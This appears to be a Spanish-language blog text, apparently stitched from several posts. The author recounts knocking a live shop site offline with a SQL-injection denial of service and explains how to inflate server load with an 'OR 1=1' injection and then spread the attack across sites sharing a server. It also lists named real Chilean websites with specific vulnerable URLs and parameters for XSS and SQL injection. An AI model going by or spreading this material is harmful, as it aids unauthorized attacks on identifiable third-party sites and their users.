This Site is temporarily unavailable

Bastaron dos o tres peticiones para que el sitio cayera.
El sitio estuvo abajo toda la noche y al otro día. Me comuniqué con el encargado del hosting y me contó que lo estaban llamando los clientes para preguntar que sucedia con el sitio web, que los productos y precios no aparecian, etc. El encargado se conectó a la base de datos y se sio cuenta que no estaba, como si la hubiesen eliminado (drop database, delete…) me miró y yo le dije “Oops! Yo no fui, yo solo le hice DoS”, entonces él empezó a averiguar y claro, los de sotorpe soporte de dreamhosthabían eliminado la base de datos ya que consumia muchos recursos en el servidor y estaba comprometiendo el servicio de otros clientes, afortunadamente el encargado del hosting tenia un respaldo de la base de datos.

Bueno, con esto, lo único que queda decir, un ataque dirigido puede llegar a afectar a todos los usuarios y servicios de un servidor, logrando hasta que le cancelen la cuenta. La prueba de concepto fue realizada con éxito.

Corresponden a las vulnerabildiades SQL Injection y XSS y los sitios son los siguientes:

• sirpachile.cl
• tardis.cl
• paihuen.cl
• dibam.cl
• balmacedartejoven.cl

Las URL vulerables:

http://www.sirapchile.cl/biblioteca.php?categoria_biblioteca=&Submit=Buscar&dat=[XSS]

http://www.tardis.cl/uf.php?ano=[SQL Injection]

http://www.paihuen.cl/socios/default.asp?mensaje=[XSS]

http://www.dibam.cl/error.asp?cadena=a&pagina=[XSS]

La siguiente URI tiene dos vulnerabilidades:

http://www.balmacedartejoven.cl/portada_sede.php?go_sede=[SQL Injection | XSS ]

(Imágen: http://nsl.cs.columbia.edu)

La teoría de esto es muy sencilla, pensemos que para hacer que un servicio deje de responder hay que hacer que se sature y esto se puede lograr de varias formas, muchas conexiones simultaneas, flood, synflood, etc. La forma que quiero enseñar es bastante más simple y consiste en modificar una consulta SQL, mediante SQL Injection, de manera tal que el servidor aumente considerablemente su carga y tiempo de respuesta hasta lograr el esperado denial of service.

Por ejemplo, pensemos en una tienda comercial que tiene en su base de datos miles (o millones) de productos, una tipica consulta para listar los productos de una categoría en particular sería:

SELECT id,producto,valor FROM productos WHERE categoria = (id de la categoría)

Y la URI sería algo como
http://sitio.com/tienda/productos.php?categoria=(id de la categoría).
Si este sitio permitiese inyectar código SQL podríamos modificar la consulta de manera tal que nos muestre todos los productos, sin importar la categoría, haciendo que la consulta quede de la siguiente forma:

SELECT id,producto,valor FROM productos WHERE categoria = (id de la categoría) OR 1 = 1

Para lograr esto, la dirección quedaría mas o menos asi:
http://sitio.com/tienda/productos.php?categoria=(id de la categoría)%20OR%201=1
Logrando que el sitio web nos muestre todos los productos y generando una carga mayor al servidor.

Si encontamos la forma de lograr la mayor carga en el servidor, podemos hacer un ataque sincronizado y distribuido para lograr nuestro objetivo: DDoS.
La distribución del ataque se puede realizar de distintas formas, muchos computadores atacando un sitio web o bien buscar las sitios web alojados en el mismo servidor o que usen el mismo recurso de base de datos y de esta forma generar más carga aún.

Está de más decir que esto es sólo una prueba de concepto y que si bien hay muchos sitios vulnerables a este tipo de ataque, la finalidad de todo esto es saber el alcance que puede tener una no-validación de datos.

• rmm.cl
• eduvic.cl
• cronica.cl
• uss.cl (www.uss.cl y enred.uss.cl)

- Las vulnerabilidades XSS corresponden a los siguientes sitios:

http://www.rmm.cl/recursos.php?id_portal=335&seccion=[XSS]
http://www.eduvic.cl/doc.asp?id=1&nom=[XSS]
http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=[XSS]

- Los sitios con vulnerabilidad SQL Injection son:

http://enred.uss.cl/seccion/cambios_equipo_institucional.php?ac=[SQL Injection]
http://www.uss.cl/alumnos/noticias_detalle.php?s=20040708164902&c=[SQL Injection]

- Full Path Disclosure

http://www.cronica.cl/edicion_cronica/seccion/articulo.php?dia=1190088000&seccion=[XXX]

Bonus track

http://twittersheep.com/results.php?u=[XSS]